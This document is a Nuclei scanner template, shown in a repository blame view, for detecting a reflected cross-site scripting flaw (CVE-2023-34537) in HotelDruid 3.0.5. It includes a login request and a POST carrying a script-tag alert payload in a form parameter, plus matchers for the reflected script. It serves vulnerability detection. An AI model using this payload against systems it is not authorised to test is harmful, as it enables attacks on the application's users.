nuclei-templates/http/cves/2023/CVE-2023-34537.yaml

51 lines
2.0 KiB
YAML
Raw Normal View History

2023-06-24 14:16:18 +00:00
id: CVE-2023-34537
info:
2023-06-30 11:26:36 +00:00
name: Hoteldruid 3.0.5 - Cross-Site Scripting
2023-06-24 14:16:18 +00:00
author: Harsh
severity: medium
description: |
A Reflected XSS was discovered in HotelDruid version 3.0.5, an attacker can issue malicious code/command on affected webpage's parameter to trick user on browser and/or exfiltrate data.
reference:
- https://github.com/leekenghwa/CVE-2023-34537---XSS-reflected--found-in-HotelDruid-3.0.5
- https://nvd.nist.gov/vuln/detail/CVE-2023-34537
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2023-34537
cwe-id: CWE-79
2023-07-11 19:49:27 +00:00
epss-score: 0.0007
cpe: cpe:2.3:a:digitaldruid:hoteldruid:3.0.5:*:*:*:*:*:*:*
2023-06-24 14:16:18 +00:00
metadata:
max-request: 2
2023-06-24 14:35:55 +00:00
verified: true
2023-07-11 19:49:27 +00:00
vendor: digitaldruid
product: hoteldruid
2023-06-24 18:14:43 +00:00
tags: cve,cve2023,hoteldrui,xss,authenticated
2023-06-24 14:16:18 +00:00
http:
- raw:
- |
2023-06-30 11:26:36 +00:00
POST /inizio.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
vers_hinc=1&nome_utente_phpr={{username}}&password_phpr={{password}}
- |
POST /creaprezzi.php HTTP/1.1
2023-06-24 14:16:18 +00:00
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2023-06-24 14:35:55 +00:00
2023-06-24 14:16:18 +00:00
anno=2023&id_sessione=&tipotariffa=a19yc%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3emjf9oc2183m&inizioperiodosett1=2023-12-24&fineperiodosett1=2023-12-31&tipo_prezzo=sett&prezzosett=&prezzosettp=&prezzoperiodo1=&prezzoperiodo1p=&prezzoperiodo2=&prezzoperiodo2p=&prezzoperiodo3=&prezzoperiodo3p=&prezzoperiodo4=&prezzoperiodo4p=&prezzoperiodo5=&prezzoperiodo5p=&prezzoperiodo6=&prezzoperiodo6p=&prezzoperiodo7=&prezzoperiodo7p=&inserisci_settimanalmente=1
2023-06-30 11:26:36 +00:00
skip-variables-check: true
2023-06-24 14:16:18 +00:00
redirects: true
matchers:
- type: dsl
dsl:
2023-06-30 11:26:36 +00:00
- 'status_code_2 == 200'
- 'contains(content_type_2, "text/html")'
- 'contains(body_2, "<script>alert(document.domain)</script>")'
- 'contains(body_2, "HotelDruid")'
2023-06-24 14:16:18 +00:00
condition: and